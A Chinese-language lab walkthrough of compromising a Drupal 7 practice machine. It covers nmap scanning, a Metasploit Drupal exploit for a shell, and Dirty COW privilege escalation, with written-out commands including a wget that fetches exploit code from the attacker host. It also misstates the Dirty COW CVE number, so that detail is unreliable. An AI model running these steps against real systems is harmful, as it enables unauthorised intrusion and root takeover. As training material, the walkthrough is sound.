文章目录
一、信息收集
1.主机发现
arp-scan -l
2.端口扫描
nmap -A -p- 192.168.1.120
发现开启了 22 ssh 服务
80、1898 web 服务,drupal7 框架
二、漏洞挖掘
1.查看对方web服务
访问 80 端口:
访问 1898 发现 drupal 框架
发现点击两个 Read more 会跳转到 ?q=node/1 和 ?q=node/3 ,没有 2,尝试访问 node2
发现有两个文件,尝试访问
发现 audio.m4a 是一段音频,内容为 user tiago
qrc.png 为二维码,扫描得到 Try harder!Muahuahua
2.使用 msfconsole get shell
msfconsole #进入msf
search drupal #搜索drupal框架漏洞
use 4 #使用4号漏洞
show options #查看所有设置
set rhosts 192.168.1.120 #设置目标ip
set rport 1898 #设置目标端口
run #运行
运行后得到靶机 shell,进行信息收集
shell #转换为有回显的shell
pwd
id
uname -a
发现其版本信息为 2016.7.13 < 2016.10.18,可以使用脏牛漏洞进行提权
脏牛提权漏洞(CVE-2016-5191)
漏洞范围:
内核 >= 2.6.22版本 (2007-2016年10月18日)
危害:
低权限的用户可利用这一漏洞在本地进行提权
原理:
linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问
三、脏牛提权
1.在 kali 查找 exp
searchsploit cow
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/Desktop/
2.使用 python 传输 exp
#攻击机开启服务:
python -m SimpleHTTPServer 8888
#靶机获取文件:
cd /tmp
wget http://192.168.1.122:8888/40847.cpp
3.编译利用
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
#-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
#-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
#-O2 编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
#-std=c++11 按C++2011标准来编译的
#-pthread 在Linux中要用到多线程时,需要链接pthread库
#-o 40847 gcc生成的目标文件,名字为40847
总结:
1.杂乱的东西较多,但很真实,难度相对简单
2.脏牛有两个 exp:一个写文件、一个修改 root 密码,这里使用的第二个
3.上传 exp 可以直接在 msf 的 meterpreter 中 upload + /root/Desktop/40847.cpp
4.在 /var/www/html/sites/default/settings.php 中有 tiago 用户密码,但是 ssh 连接后并未找到什么信息
5.同环境,提权一次后不重启无法再次提权,重启后再次提权可能环境炸裂enmmm